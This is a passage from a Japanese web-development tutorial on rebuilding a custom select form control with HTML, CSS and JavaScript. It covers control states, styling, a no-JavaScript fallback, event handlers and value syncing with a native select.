title="Advanced_styling_for_HTML_forms">高度なスタイル設定を行いたい</a>場合や、独自の動作を提供したい場合は、あなた独自のコントロールを作成するしかありません。</p> + +<p>本記事では、そのようなコントロールの作り方を見ていきます。その目的のため、次の例に取り組みます: {{HTMLElement("select")}} 要素の再構築です。このほかに独自コントロール作成をどういう方法でするか、いつするか、またそれが意味をなすのかや、コントロール作成が必須なときに何に気をつけるべきかを扱います。</p> + +<div class="note"> +<p><strong>注記:</strong> ここではコントロールの構築に注目しており、汎用かつ再利用可能なコードの作成法は見ていきません。それには JavaScript の重要なコードや未知のコンテキストでの DOM 操作が組み合わされており、本記事の対象から外れます。</p> +</div> + +<h2 id="Design_structure_and_semantics" name="Design_structure_and_semantics">デザイン、構造、セマンティクス</h2> + +<p>カスタムコントロールを作成する前に、何をしたいかをはっきりと理解することから始めるべきです。これはあなたの貴重な時間を節約するでしょう。特に、コントロールの全状態を明確に定義することが重要です。これを行うには、状態や動作がよく知られている既存のコントロールからスタートするとよいでしょう。この結果、簡単に可能な限りの模倣を行えます。</p> + +<p>本記事の例では、{{HTMLElement("select")}} 要素を再構築します。以下が、私たちが実現したい成果です:</p> + +<p><img alt="The three states of a select box" src="/files/4481/custom-select.png" style="height: 135px; width: 366px;"></p> + +<p>このスクリーンショットでは、コントロールの主要な状態 3 つを示しています: 通常状態 (左)、アクティブ状態 (中央)、そして開いた状態 (右) です。</p> + +<p>動作の点では、ネイティブな HTML用要素を再作成します。このため、ネイティブ HTML要素と同様な動作や意味を持たせるべきです。独自のコントロールもネイティブコントロールと同様に、キーボードだけでなくマウスでも使用できるように、またスクリーンリーダーに理解できるようにしたいと考えます。コントロールがどのように各状態に達するかを定義することから始めましょう:</p> + +<dl> + <dt>コントロールは以下のときに通常状態になります:</dt> + <dd> + <ul> + <li>ページを読み込む</li> + <li>コントロールはアクティブであったが、ユーザーがコントロール以外のどこかをクリックした</li> + <li>コントロールはアクティブであったが、キーボードを使用して別のコントロールにフォーカスを移した (例 <kbd>Tab</kbd> キー)</li> + </ul> + </dd> + <dt>コントロールは以下のときにアクティブ状態になります:</dt> + <dd> + <ul> + <li>ユーザーがコントロール上でクリックする</li> + <li>ユーザーが Tab キーを押下して、コントロールがフォーカスを得る</li> + <li>コントロールが開いた状態で、ユーザーがコントロールをクリックする</li> + </ul> + </dd> + <dt>コントロールは以下のときに開いた状態になります:</dt> + <dd> + <ul> + <li>コントロールが開いた状態ではないときに、ユーザーがコントロールをクリックした</li> + </ul> + </dd> +</dl> + +<p>状態をどのように変えるかを理解したら、コントロールの値をどのように変えるかの定義が重要になります:</p> + +<dl> + <dt>以下のときに値が変わります:</dt> + <dd> + <ul> + <li>コントロールが開いた状態であるときに、ユーザーが選択肢をクリックする</li> + <li>コントロールがアクティブ状態であるときに、ユーザーが上下矢印キーを押下する</li> + </ul> + </dd> +</dl> + +<dl> + <dt>以下のときには値は変わりません:</dt> + <dd> + <ul> + <li>最初のオプションが選択済みのときに、ユーザーが上矢印をクリックする</li> + <li>最後のオプションが選択済みのときに、ユーザーが下矢印をクリックする</li> + </ul> + </dd> +</dl> + +<p>最後に、コントロールの選択肢がどのように動作するかを定義しましょう:</p> + +<ul> + <li>コントロールが開いているとき、選択されている選択肢は強調されます</li> + <li>マウスポインタが選択肢の上にあるときはその選択肢が強調され、また前に強調されていた選択肢は通常状態に戻ります</li> +</ul> + +<p>この例の用途としては、ここまでです。しかし注意深い読者の方は、いくつかの動作が欠けていることに気づくでしょう。例えば、コントロールが開いた状態であるときにユーザーが Tab キーを押すと何が起きると考えますか? その答えは... 何も起きません。正しい動作は明らかでしょうが、実際は私たちの仕様で定義されていないため、とても見逃されやすいのです。これは、コントロールの動作を設計する人と実装する人が異なるチーム環境で特に当てはまります。</p> + +<p>別のおもしろい例です: コントロールが開いた状態であるときに上下矢印キーを押すと何が起きるのでしょうか? こちらはやや難しくなります。アクティブ状態と開いた状態をまったく別のものと考えるなら、その答えはやはり "何も起きません" です。これは、開いた状態でのキーボードの作用を定義していないためです。一方、アクティブ状態と開いた状態が少し重なると考えるなら、値は替わるかもしれませんがそれに対応して選択肢が強調されることはないでしょう。繰り返しになりますが、これはコントロールが開いた状態の選択肢に対するキーボードの作用を定義していないためです (コントロールが開いた状態で何が起きるかだけを定義しており、その後がないためです)。</p> + +<p>もう少し突っ込んで考えてみます: エスケープキーはどうでしょう? <kbd>Esc</kbd> キーを押すと開いた select が閉じます。ネイティブの{{htmlelement('select')}}と同じ機能を提供する場合、キーボードやマウスやスクリーンリーダーへのタッチ、その他あらゆる入力デバイスまで、全てのユーザーにとっての select の動作と全く同じようにふるまうべきです。</p> + +<p>この例では欠けている仕様が明らかですので対処するでしょうが、めずらしい新たなコントロールでは真の問題になり得ます。標準要素では、{{htmlelement('select')}} もその 1 つですが、仕様の作成者は膨大な時間をかけて全てのユースケースの全ての入力デバイスの全ての操作を指定します。新コントロールの作成は簡単ではなく、特にそれが作成されたことのないものの場合は、どのような動作が正しいかについて、わずかなアイデアですら誰も持っていないため簡単ではないです。少なくとも select はこれまでやってきたため、どうふるまうかはわかっています!</p> + +<p>一般的に、新しい操作を設計するのは、標準を作成するに十分なリーチを持った、とても大きな産業プレイヤーだけの選択肢です。例えば、Apple は 2001年に iPod にスクロールホイールを導入しました。完全に新しい操作方法のデバイスを導入するのに成功するマーケットシェアがありましたが、たいていのデバイス会社はそうはいきません。</p> + +<p>新しいユーザーインタラクションを発明しないのがベストです。インタラクションを追加する場合、設計段階で時間を使うのが重要です。動作の定義が貧弱であったり定義もれがあったりした場合、いったんユーザーが使い始めると動作を再定義するのが非常に困難になると思われますので、設計段階に時間をかけることは賢明です。もし疑っているのでしたら、他の人に意見を聞きましょう。また予算を持っているのでしたら、<a href="http://en.wikipedia.org/wiki/Usability_testing" rel="external" title="http://en.wikipedia.org/wiki/Usability_testing">ユーザーテストの実施</a>をためらってはいけません。このプロセスは、UX デザインと呼ばれます。この点について詳しく学びたいのでしたら、以下の役に立つリソースをご覧になるとよいでしょう:</p> + +<ul> + <li><a href="http://www.uxmatters.com/" rel="external" title="http://www.uxmatters.com/">UXMatters.com</a></li> + <li><a href="http://uxdesign.com/" rel="external" title="http://uxdesign.com/">UXDesign.com</a></li> + <li><a href="http://uxdesign.smashingmagazine.com/" rel="external" title="http://uxdesign.smashingmagazine.com/">The UX Design section of SmashingMagazine</a></li> +</ul> + +<div class="note"> +<p><strong>注記: </strong>さらにほとんどのシステムでは、使用できる選択肢すべてを見るために {{HTMLElement("select")}} 要素を開く手段があります (これは {{HTMLElement("select")}} 要素をマウスでクリックするのと同じです)。これは Windows では <kbd>Alt</kbd> + <kbd>Down</kbd> キー で実現できますが、この例では実装しません。しかし、仕組みはすでに <code>click</code> イベント向けに実装されていますので、行うのは簡単です。</p> +</div> + +<h2 id="Defining_the_HTML_structure_and_semantics" name="Defining_the_HTML_structure_and_semantics">HTML の構造とセマンティクスの定義</h2> + +<p>コントロールの基本的な機能が決まりましたので、構築を始めるときが来ました。最初のステップはコントロールの HTML 構造の定義と、基本的なセマンティクスの付与です。こちらが、{{HTMLElement("select")}} 要素の再構築に必要な HTML です:</p> + +<pre class="brush: html notranslate"><!-- これはコントロールの中心的なコンテナです。 + tabindex 属性は、ユーザーがコントロールにフォーカスを当てられるようにするものです。 + これを JavaScript で設定する方がよいことは、後で見ていきます。--> +<div class="select" tabindex="0"> + + <!-- このコンテナは、コントロールの現在の値を表示するために使用します。--> + <span class="value">Cherry</span> + + <!-- このコンテナは、コントロールで使用できるすべての選択肢を包含します。 + これはリストですから、ul 要素を使用するとよいでしょう。--> + <ul class="optList"> + <!-- 各々の選択肢は表示される値だけを包含しており、フォームのデータで送信される + 実際の値を処理する方法は後で見ていきます。--> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + +</div></pre> + +<p>クラス名の使い方に注目してください。これらは基盤となる実際の HTML とは関係なく、フォームに関するそれぞれの部分を示します。これは CSS や JavaScript を強固な HTML の構造と結びつけないようにするために重要であり、そのためにコントロールを扱うコードを壊すことなく、後から実装を変更することができます。例えば {{HTMLElement("optgroup")}} 要素と同等の機能を実装したい場合などです。</p> + +<p>クラス名は、しかしながら、意味のある値ではありません。現在の状態では、スクリーンリーダーのユーザーのみがリストを"見る"ことができます。ARIA セマンティクスを少し追加します。</p> + +<h2 id="Creating_the_look_and_feel_using_CSS" name="Creating_the_look_and_feel_using_CSS">CSS でルックアンドフィールを作成する</h2> + +<p>構造ができましたので、コントロールのデザインを始められます。カスタムコントロールを作成する上でのポイントは、望むとおりにコントロールへスタイルを設定できることです。そのために、CSS を 2 つの部分に分けます: ひとつはコントロールが {{HTMLElement("select")}} 要素のように動作するために欠かせない CSS ルールであり、もうひとつは希望する見た目にするための好みのスタイルで構成されます。</p> + +<h3 id="Required_styles" name="Required_styles">必須のスタイル</h3> + +<p>必須のスタイルは、コントロールの 3 つの状態を扱うために欠かせないものです。</p> + +<pre class="brush: css notranslate">.select { + /* 選択肢のリスト向けのポジショニングコンテキストを作成します; + adding this to .select{{cssxref(':focus-within')}} will be a better option when fully supported + */ + position: relative; + + /* コントロールをテキストフローの一部かつまとまった大きさにします */ + display : inline-block; +}</pre> + +<p>アクティブ状態であるコントロールのルックアンドフィールを定義するため、追加で <code>active</code> クラスが必要です。このコントロールはフォーカスを得ることができますので、同様に動作させるためにカスタムスタイルを {{cssxref(":focus")}} 疑似クラスにも適用します。</p> + +<pre class="brush: css notranslate">.select.active, +.select:focus { + outline: none; + + /* box-shadow プロパティは必須ではありませんが、これをデフォルト値として使用するのは + アクティブ状態を見えるようにするために重要です。自由に書き換えてください。*/ + box-shadow: 0 0 3px 1px #227755; +}</pre> + +<p>次に、選択肢のリストを扱いましょう:</p> + +<pre class="brush: css notranslate">/* .select セレクタは、私たちが定義するクラスがコントロールの内部にあることを + 確実にするためのシンタックスシュガーです。*/ +.select .optList { + /* 選択肢のリストが値の下部かつ HTML フローの外側に表示される + ようにします。*/ + position : absolute; + top : 100%; + left : 0; +}</pre> + +<p>選択肢のリストが隠れている状態を扱うための追加クラスも必要です。これはアクティブ状態と開いた状態で完全には一致しない相違点を扱うために必要です。</p> + +<pre class="brush: css notranslate">.select .optList.hidden { + /* これはアクセシブルな方法でリストを隠すための簡単な方法です。 + アクセシビリティについては最後に説明します。*/ + max-height: 0; + visibility: hidden; +}</pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 選択肢のリストに高さと幅を与えないように <code>transform: scale(1, 0)</code> も使えます。</p> +</div> + +<h3 id="Beautification" name="Beautification">美化</h3> + +<p>基本的な機能性を適切に置きましたので、戯れを始められます。以下は何ができるかの例であり、本記事の冒頭で示したスクリーンショットに一致するものです。とはいえ、自由に実験して何ができるかを見てみるとよいでしょう。</p> + +<pre class="brush: css notranslate">.select { + /* アクセシビリティのため、すべてのサイズは em 単位の値で表します + (ユーザーがテキストのみのモードでブラウザーのズーム機能を使用したときに、 + コントロールをリサイズ可能にします)。算出結果は、ほとんどのブラウザーで + デフォルト値である 1em == 16px を想定します。 + px から em への変換がわからない場合は http://riddle.pl/emcalc/ を試してください */ + font-size : 0.625em; /* この値 (10px) は、本コンテキストにおける新たなフォントサイズの em 単位値です。*/ + font-family : Verdana, Arial, sans-serif; + + box-sizing : border-box; + + /* 後で追加する下向き矢印のためのスペースが必要です */ + padding : .1em 2.5em .2em .5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : .2em solid #000; /* 2px */ + border-radius : .4em; /* 4px */ + box-shadow : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */ + + /* 最初の宣言は、線形グラデーションをサポートしないブラウザー向けのものです。*/ + background : #F0F0F0; + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + /* 値がコントロールの幅より大きくなる可能性があるため、コントロールの幅を + 変更しないようにすることが必要です。内容物がオーバーフローした場合は、 + 省略記号をつけるとよいでしょう。*/ + display : inline-block; + width : 100%; + overflow : hidden; + white-space : nowrap; + text-overflow: ellipsis; + vertical-align: top; +}</pre> + +<p>下向き矢印をデザインするための追加要素は不要です。代わりに {{cssxref(":after")}} 疑似要素を使用します。ただし、<code>select</code> クラスでシンプルな背景画像を使用することによる実装も可能です。</p> + +<pre class="brush: css notranslate">.select:after { + content : "▼"; /* Unicode 文字 U+25BC を使用します。http://www.utf8-chartable.de をご覧ください */ + position: absolute; + z-index : 1; /* これは、矢印が選択肢のリストに重ならないようにするために重要です */ + top : 0; + right : 0; + + box-sizing : border-box; + + height : 100%; + width : 2em; + padding-top : .1em; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; + text-align : center; +}</pre> + +<p>次に、選択肢のリストにスタイルを設定しましょう:</p> + +<pre class="brush: css notranslate">.select .optList { + z-index : 2; /* 選択肢のリストが下向き矢印より上になるよう、明示的に示します。*/ + + /* ul 要素のデフォルトスタイルを初期化します。*/ + list-style: none; + margin : 0; + padding: 0; + + box-sizing : border-box; + + /* 値の幅がコントロールの幅より小さい場合でも、選択肢のリストの幅が + コントロール自体と同じになるようにします。*/ + min-width : 100%; + + /* リストが長すぎる場合に、内容物が垂直方向にはみ出します (自動的に + 垂直スクロールバーを表示します) が、水平方向にはみ出しません + (幅を指定しないため、リストは自身の幅へ自動的に調整されます。 + それができない場合は、内容物が切り詰められます) 。*/ + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; + + border: .2em solid #000; /* 2px */ + border-top-width : .1em; /* 1px */ + border-radius: 0 0 .4em .4em; /* 0 0 4px 4px */ + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */ + background: #f0f0f0; +}</pre> + +<p>選択肢向けに、ユーザーが選択しようとしている (あるいは選択した) 値を示せるようにするための <code>highlight</code> クラスを追加しなければなりません。</p> + +<pre class="brush: css notranslate">.select .option { + padding: .2em .3em; /* 2px 3px */ +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<p>これで、3 つの状態の結果は以下のようになります:</p> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">通常状態</th> + <th scope="col" style="text-align: center;">アクティブ状態</th> + <th scope="col" style="text-align: center;">開いた状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("Basic_state",120,130, "", "HTML/Forms/How_to_build_custom_form_controls/Example_1")}}</td> + <td>{{EmbedLiveSample("Active_state",120,130, "", "HTML/Forms/How_to_build_custom_form_controls/Example_1")}}</td> + <td>{{EmbedLiveSample("Open_state",120,130, "", "HTML/Forms/How_to_build_custom_form_controls/Example_1")}}</td> + </tr> + <tr> + <td colspan="3" style="text-align: center;"><a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1" title="HTML/Forms/How_to_build_custom_form_widgets/Example_1">ソースコードを確認する</a></td> + </tr> + </tbody> +</table> + +<h2 id="Bring_your_widget_to_life_with_JavaScript" name="Bring_your_widget_to_life_with_JavaScript">JavaScript でコントロールに命を吹き込む</h2> + +<p>デザインや構造の準備ができましたので、コントロールが実際に動作するようにするための JavaScript コードを記述できます。</p> + +<div class="warning"> +<p><strong>警告:</strong> 以下は教育目的のコードであり、そのままで使用するべきではありません。ご覧のとおり、さまざまな箇所に将来性のないものや古いブラウザーで動作しないものがあります。また、本番のコードでは最適化すべき冗長な箇所もあります。</p> +</div> + +<h3 id="Why_isnt_it_working" name="Why_isn't_it_working">なぜ動作しないのか?</h3> + +<p>始める前に、重要事項を覚えておくことが大切です: <strong>ブラウザー内の JavaScript は信頼できる技術ではありません</strong>。カスタムコントロールを作成するとき、すべてをつなぎ合わせるために必要であることから JavaScript に頼らなければならないでしょう。ところが、JavaScript をブラウザーで実行できない場合がいくつもあります:</p> + +<ul> + <li>ユーザーが JavaScript を無効にしている。これはもっともめずらしいケースです。ごく一部の人々は、今でも JavaScript を無効にしています。</li> + <li>スクリプトが読み込まれません。これはよくあるケースのひとつであり、特にネットワークの信頼性が低いモバイル環境で発生します。</li> + <li>スクリプトに不具合があります。この可能性は常に考慮すべきです。</li> + <li>スクリプトがサードパーティのスクリプトと競合しています。これは、トラッキングのスクリプトやユーザーが使用するブックマークレットとの間で発生する可能性があります。</li> + <li>スクリプトがブラウザーの拡張機能 (Firefox の <a href="https://addons.mozilla.org/fr/firefox/addon/noscript/" rel="external" title="https://addons.mozilla.org/fr/firefox/addon/noscript/">NoScript</a> 拡張機能や Chrome の <a href="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn" rel="external" title="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn">NotScripts</a> 拡張機能など) と競合したり、拡張機能の影響を受けたりしています。</li> + <li>ユーザーが古いブラウザーを使用しており、必要な機能のいずれかがサポートされていません。これは、最先端の API を使用するときに頻繁に発生します。</li> + <li>ユーザーは JavaScript が完全にダウンロード、解析、実行される前にコンテンツを操作します。</li> +</ul> + +<p>このようなリスクがあるため、JavaScript が動作しない場合に何が起きるかを注意深く考えることが重要です。この問題について詳しく扱うのは、スクリプトをどれだけ汎用および再利用可能にしたいかと密接に関わりますので本記事の範囲を外れますが、本サンプルでは基本的な部分について考えていきます。</p> + +<p>本記事の例では、JavaScript コードが実行されない場合に標準の {{HTMLElement("select")}} 要素にフォールバックします。われわれのコントロールと {{HTMLElement("select")}}を導入し、いずれが表示されるかは body 要素のり class に依存します。読み込みに成功したとき、body 要素の class がコントロールの関数をなす script により更新されます。</p> + +<p>これを実現するには、2 つのことが必要です。</p> + +<p>第一に、カスタムコントロールを使用する前に通常の {{HTMLElement("select")}} 要素を追加することが必要です。実際は、これは残りのフォームデータと共にカスタムコントロールのデータを送信できるようにするために必要です。詳しくは後述します。</p> + +<pre class="brush: html notranslate"><body class="no-widget"> + <form> + <select name="myFruit"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> + </form> + +</body></pre> + +<p>第二に、不要な要素 (すなわち、スクリプトを実行する場合における "本物の" {{HTMLElement("select")}} 要素や、実行しない場合におけるカスタムコントロール) を隠せるようにするための新たなクラスが 2 つ必要です。デフォルトでは、HTML コードでカスタムコントロールを隠すことに注意してください。</p> + +<pre class="brush: css notranslate">.widget select, +.no-widget .select { + /* この CSS セレクタの基本的な意味は: + - body のクラスを "widget" に設定して、本物の {{HTMLElement("select")}} 要素を隠す + - または body のクラスを変更せずに "no-widget" のままにしておくことで、 + クラスが "select" である要素が隠される */ + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +}</pre> + +<p>この CSS は要素の 1 つを見えなくしますが、スクリーンリーダーからは利用できます。</p> + +<p>ここで、スクリプトを実行するか否かを判断するための JavaScript スイッチが必要になります。このスイッチはとても簡単です: ページを読み込むときにスクリプトを実行したら、<code>no-widget</code> クラスを削除して <code>widget</code> クラスを追加します。これにより {{HTMLElement("select")}} 要素やカスタムコントロールの可視性を切り替えます。</p> + +<pre class="brush: js notranslate">window.addEventListener("load", function () { + document.body.classList.remove("no-widget"); + document.body.classList.add("widget"); +});</pre> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">JS なし</th> + <th scope="col" style="text-align: center;">JS あり</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("No_JS",120,130, "", "HTML/Forms/How_to_build_custom_form_controls/Example_2")}}</td> + <td>{{EmbedLiveSample("JS",120,130, "", "HTML/Forms/How_to_build_custom_form_controls/Example_2")}}</td> + </tr> + <tr> + <td colspan="2" style="text-align: center;"><a href="/ja/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2" title="HTML/Forms/How_to_build_custom_form_widgets/Example_2">ソースコードを確認する</a></td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>注記:</strong> コードを本当に汎用かつ再利用可能にしたい場合はクラスを切り替えるのではなく、単に {{HTMLElement("select")}} 要素を隠すためのコントロールのクラスを追加して、ページ内にあるすべての {{HTMLElement("select")}} 要素の後ろにカスタムコントロールを表す DOM ツリーを動的に追加する方がはるかによいでしょう。</p> +</div> + +<h3 id="Making_the_job_easier" name="Making_the_job_easier">作業をより簡単に</h3> + +<p>作成しようとしているコードでは、必要な作業すべてのために標準の JavaScript と DOM API を使用するでしょう。ここで使用するつもりである機能は以下のとおりです:</p> + +<ol> + <li>{{domxref("element.classList","classList")}}</li> + <li>{{domxref("EventTarget.addEventListener","addEventListener")}}</li> + <li><code><a href="/ja/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code></li> + <li>{{domxref("element.querySelector","querySelector")}} および {{domxref("element.querySelectorAll","querySelectorAll")}}</li> +</ol> + +<p>これら特定機能を利用できるかに加えて、作業を始める前に残されている問題があります。{{domxref("element.querySelectorAll","querySelectorAll()")}} 関数が返すオブジェクトは <code><a href="/ja/docs/JavaScript/Reference/Global_Objects/Array" title="JavaScript/Reference/Global_Objects/Array">Array</a></code> ではなく {{domxref("NodeList")}} です。これは、<code>Array</code> オブジェクトは <code><a href="/ja/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code> 関数をサポートしているが {{domxref("NodeList")}} はサポートしていないために重要な問題です。{{domxref("NodeList")}} は <code>Array</code> ととても似ており、また <code>forEach</code> はとても便利であることから、作業を楽にするため以下のように {{domxref("NodeList")}} で <code>forEach</code> をサポートさせることができます:</p> + +<pre class="brush: js notranslate">NodeList.prototype.forEach = function (callback) { + Array.prototype.forEach.call(this, callback); +}</pre> + +<p>古いブラウザーをサポートする必要がある場合、そのブラウザーがこうした機能をサポートしているか確かめてください。そうでない場合、リスト内を繰り返すか、ライブラリーや pollyfill を使う必要があります。</p> + +<h3 id="Building_event_callbacks" name="Building_event_callbacks">イベントコールバックを作成する</h3> + +<p>基盤が整いましたので、ユーザーがコントロールと対話するたびに使用されるすべての関数を定義し始めることができます。</p> + +<pre class="brush: js notranslate">// この関数は、カスタムコントロールを非アクティブにしたいときに使用します。 +// 引数は 1 つあります。 +// select : 非アクティブにする `select` クラスの DOM ノード +function deactivateSelect(select) { + + // コントロールがアクティブではないときは何もしません。 + if (!select.classList.contains('active')) return; + + // カスタムコントロールの選択肢のリストを取得することが必要です。 + var optList = select.querySelector('.optList'); + + // 選択肢のリストを閉じます。 + optList.classList.add('hidden'); + + // そして、カスタムコントロール自身を非アクティブにします。 + select.classList.remove('active'); +} + +// この関数は、ユーザーがコントロールをアクティブ/非アクティブにしたがっているときに使用します。 +// 引数は 2 つあります: +// select : アクティブにする `select` クラスの DOM ノード +// selectList : `select` クラスであるすべての DOM ノードのリスト +function activeSelect(select, selectList) { + + // コントロールがすでにアクティブであるときは何もしません。 + if (select.classList.contains('active')) return; + + // すべてのカスタムコントロールを非アクティブにすることが必要です。 + // deactivateSelect 関数は forEach コールバック関数の要件を + // すべて満たしていますので、仲介する無名関数を使用せずに + // 直接使用しています。 + selectList.forEach(deactivateSelect); + + // そして、指定されたコントロールをアクティブ状態にします。 + select.classList.add('active'); +} + +// この関数は、ユーザーが選択肢のリストを開く/閉じることを求めたときに使用します。 +// 引数は 1 つあります: +// select : 表示を切り替えるリストの DOM ノード +function toggleOptList(select) { + + // リストはコントロールから確保します。 + var optList = select.querySelector('.optList'); + + // リストのクラスを表示/非表示に切り替えます。 + optList.classList.toggle('hidden'); +} + +// この関数は、選択肢を強調したいときに使用します。 +// 引数は 2 つあります: +// select : 強調する選択肢を包含する `select` クラスの DOM ノード +// option : 強調する `option` クラスの DOM ノード +function highlightOption(select, option) { + + // カスタムコントロールで使用可能なすべての選択肢のリストを取得します。 + var optionList = select.querySelectorAll('.option'); + + // すべての選択肢から強調効果を取り除きます。 + optionList.forEach(function (other) { + other.classList.remove('highlight'); + }); + + // 適切な選択肢を強調します。 + option.classList.add('highlight'); +};</pre> + +<p>以上が、カスタムコントロールのさまざまな状態を制御するために必要なもののすべてです。</p> + +<p>次に、これらの関数と適切なイベントを関連づけます:</p> + +<pre class="brush: js notranslate">// ドキュメントが読み込まれたときのイベントの関連づけを制御します。 +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + // 各々のコントロールは初期化が必要です。 + selectList.forEach(function (select) { + + // すべての `option` も同様です。 + var optionList = select.querySelectorAll('.option'); + + // ユーザーが選択肢にマウスポインタを乗せるたびに、その選択肢を強調します。 + optionList.forEach(function (option) { + option.addEventListener('mouseover', function () { + // 注記: 変数 `select` および `option` は、関数呼び出しのスコープ内でのみ + // 使用可能なクロージャです。 + highlightOption(select, option); + }); + }); + + // ユーザーが独自の select 要素でクリックするたびに + select.addEventListener('click', function (event) { + // 注記: 変数 `select` は、関数呼び出しのスコープ内でのみ + // 使用可能なクロージャです。 + + // 選択肢のリストの可視性を切り替えます。 + toggleOptList(select); + }); + + // コントロールが再びフォーカスを得た場合 + // ユーザーがコントロールをクリックしたり、コントロールへアクセスするために + // Tab キーを使用するたびに、コントロールはフォーカスを得ます。 + select.addEventListener('focus', function (event) { + // 注記: 変数 `select` および `selectList` は、関数呼び出しのスコープ内でのみ + // 使用可能なクロージャです。 + + // コントロールをアクティブにします。 + activeSelect(select, selectList); + }); + + // コントロールがフォーカスを失った場合 + select.addEventListener('blur', function (event) { + // 注記: 変数 `select` は、関数呼び出しのスコープ内でのみ + // 使用可能なクロージャです。 + + // コントロールを非アクティブにします。 + deactivateSelect(select); + }); + +<code class="language-js"><span class="comment token"> </span></code> // ユーザーが`esc`を押した場合にフォーカスを外す +<code class="language-js"> select<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'keyup'</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="parameter token">event</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + + <span class="comment token">// deactive on keyup of `esc`</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>event<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">27</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> +</code> deactivateSelect(select); +<code class="language-js"><span class="punctuation token"> </span> <span class="punctuation token">}</span></code> + }); +});</pre> + +<p>この時点でコントロールは設計どおりに状態が変わりますが、コントロール値はまだ更新されません。次の章でこれを扱います。</p> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">Live example</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("Change_states",120,130, "", "HTML/Forms/How_to_build_custom_form_controls/Example_3")}}</td> + </tr> + <tr> + <td style="text-align: center;"><a href="/ja/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3" title="HTML/Forms/How_to_build_custom_form_widgets/Example_3">ソースコードを確認する</a></td> + </tr> + </tbody> +</table> + +<h3 id="Handling_the_widgets_value" name="Handling_the_widget's_value">コントロールの値を制御する</h3> + +<p>コントロールが動作するようになりましたので、ユーザーの入力に従って値を更新して、フォームデータと共にその値を送信できるようにするコードを追加しなければなりません。</p> + +<p>これを行うもっとも簡単な方法は、覆い隠したネイティブコントロールを使用することです。そのようなコントロールはブラウザーが提供するすべての組み込みのコントロールと共に値の経過を保持しており、フォームを送信するときは通常どおりに値を送信します。これらすべてを行えるようにするために、車輪の再発明を行うのは無駄です。</p> + +<p>先ほど見たように、アクセシビリティの理由からフォールバック手段としてすでにネイティブの select コントロールを使用しています。単純に、その値をカスタムコントロールの値と同期することができます:</p> + +<pre class="brush: js notranslate">// この関数は、表示される値を更新してネイティブコントロールの値と同期します。 +// 引数は 2 つあります: +// select : 更新する値を持つ `select` クラスの DOM ノード +// index : 選択される値のインデックス +function updateValue(select, index) { + // 指定されたカスタムコントロール向けのネイティブコントロールを取得することが必要です。 + // この例では、ネイティブコントロールはカスタムコントロールの兄弟です。 + var nativeWidget = select.previousElementSibling; + + // カスタムコントロールの値のプレースホルダーの取得も必要です。 + var value = select.querySelector('.value'); + + // そして、選択肢の全リストが必要です。 + var optionList = select.querySelectorAll('.option'); + + // 選択した値のインデックスを、selectedIndex に設定します。 + nativeWidget.selectedIndex = index; + + // 上記に応じて、値のプレースホルダーも更新します。 + value.innerHTML = optionList[index].innerHTML; + + // そして、カスタムコントロールで対応する選択肢を強調します。 + highlightOption(select, optionList[index]); +}; + +// この関数は、ネイティブコントロールで現在選択されているインデックスを返します。 +// 引数は 1 つあります: +// select : ネイティブコントロールに関係する `select` クラスの DOM ノード +function getIndex(select) { + // 指定されたカスタムコントロール向けのネイティブコントロールにアクセスすることが必要です。 + // この例では、ネイティブコントロールはカスタムコントロールの兄弟です。 + var nativeWidget = select.previousElementSibling; + + return nativeWidget.selectedIndex; +};</pre> + +<p>これら 2 つの関数で、ネイティブコントロールとカスタムコントロールを関連づけることができます:</p> + +<pre class="brush: js notranslate">// ドキュメントが読み込まれたときのイベントの関連づけを制御します。 +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + // 各々のコントロールは初期化が必要です。 + selectList.forEach(function (select) { + var optionList = select.querySelectorAll('.option'), + selectedIndex = getIndex(select); + + // カスタムコントロールがフォーカスを得られるようにします。 + select.tabIndex = 0; + + // ネイティブコントロールがフォーカスを得ないようにします。 + select.previousElementSibling.tabIndex = -1; + + // デフォルトで選択されている値が正しく表示されるようにします。 + updateValue(select, selectedIndex); + + // ユーザーが選択肢をクリックするのに応じて値を更新します。 + 